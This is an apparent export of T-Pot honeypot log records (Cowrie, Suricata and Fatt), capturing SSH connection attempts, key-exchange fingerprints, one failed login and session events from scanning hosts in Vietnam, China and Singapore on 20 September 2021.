\N	cowrie.client.version	\N	known attacker	\N
24991	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:28.414186+03	2021-09-20 14:15:09.5185+03	{"_id": "4gblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "524574b7b549", "@version": "1", "timestamp": "2021-09-20T11:09:28.414186Z", "@timestamp": "2021-09-20T11:09:28.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25003	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:20.114049+03	2021-09-20 14:15:09.533471+03	{"_id": "CwblAnwBvYTbRNuEZRci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [arkserver/password] failed", "session": "b9437f1f38e0", "@version": "1", "password": "password", "username": "arkserver", "timestamp": "2021-09-20T11:09:20.114049Z", "@timestamp": "2021-09-20T11:09:20.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24992	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:09:28.788703+03	2021-09-20 14:15:09.519501+03	{"_id": "5AblAnwBvYTbRNuEhheu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 943002682431503, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60438, "dest_port": 22, "timestamp": "2021-09-20T11:09:28.788703Z", "@timestamp": "2021-09-20T11:09:28.788Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24993	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:28.613925+03	2021-09-20 14:15:09.5205+03	{"_id": "7AblAnwBvYTbRNuEhxe4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60438, "timestamp": "2021-09-20T11:09:28.613925", "@timestamp": "2021-09-20T11:09:28.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24994	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:09:19.151961+03	2021-09-20 14:15:09.522504+03	{"_id": "7QblAnwBvYTbRNuEYxZ_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "flow_id": 1199869643384116, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 3732, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.151961Z", "@timestamp": "2021-09-20T11:09:19.151Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24995	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:19.494044+03	2021-09-20 14:15:09.523502+03	{"_id": "8gblAnwBvYTbRNuEZBaD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 32984, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.494044", "@timestamp": "2021-09-20T11:09:19.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24996	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:19.190758+03	2021-09-20 14:15:09.524503+03	{"_id": "9AblAnwBvYTbRNuEZBaD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37122, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.190758", "@timestamp": "2021-09-20T11:09:19.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24997	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:20.354154+03	2021-09-20 14:15:09.525472+03	{"_id": "9gblAnwBvYTbRNuEZRYi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46248 (192.168.176.2:22) [session: f153c4923fb3]", "session": "f153c4923fb3", "@version": "1", "protocol": "ssh", "src_port": 46248, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.354154Z", "@timestamp": "2021-09-20T11:09:20.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24998	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:19.494245+03	2021-09-20 14:15:09.527506+03	{"_id": "BgblAnwBvYTbRNuEZRci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c73c35c6a2a5", "@version": "1", "timestamp": "2021-09-20T11:09:19.494245Z", "@timestamp": "2021-09-20T11:09:19.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24999	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:19.582145+03	2021-09-20 14:15:09.528504+03	{"_id": "BwblAnwBvYTbRNuEZRci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 47 seconds", "session": "595bea6f2167", "@version": "1", "duration": 47.77943515777588, "timestamp": "2021-09-20T11:09:19.582145Z", "@timestamp": "2021-09-20T11:09:19.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
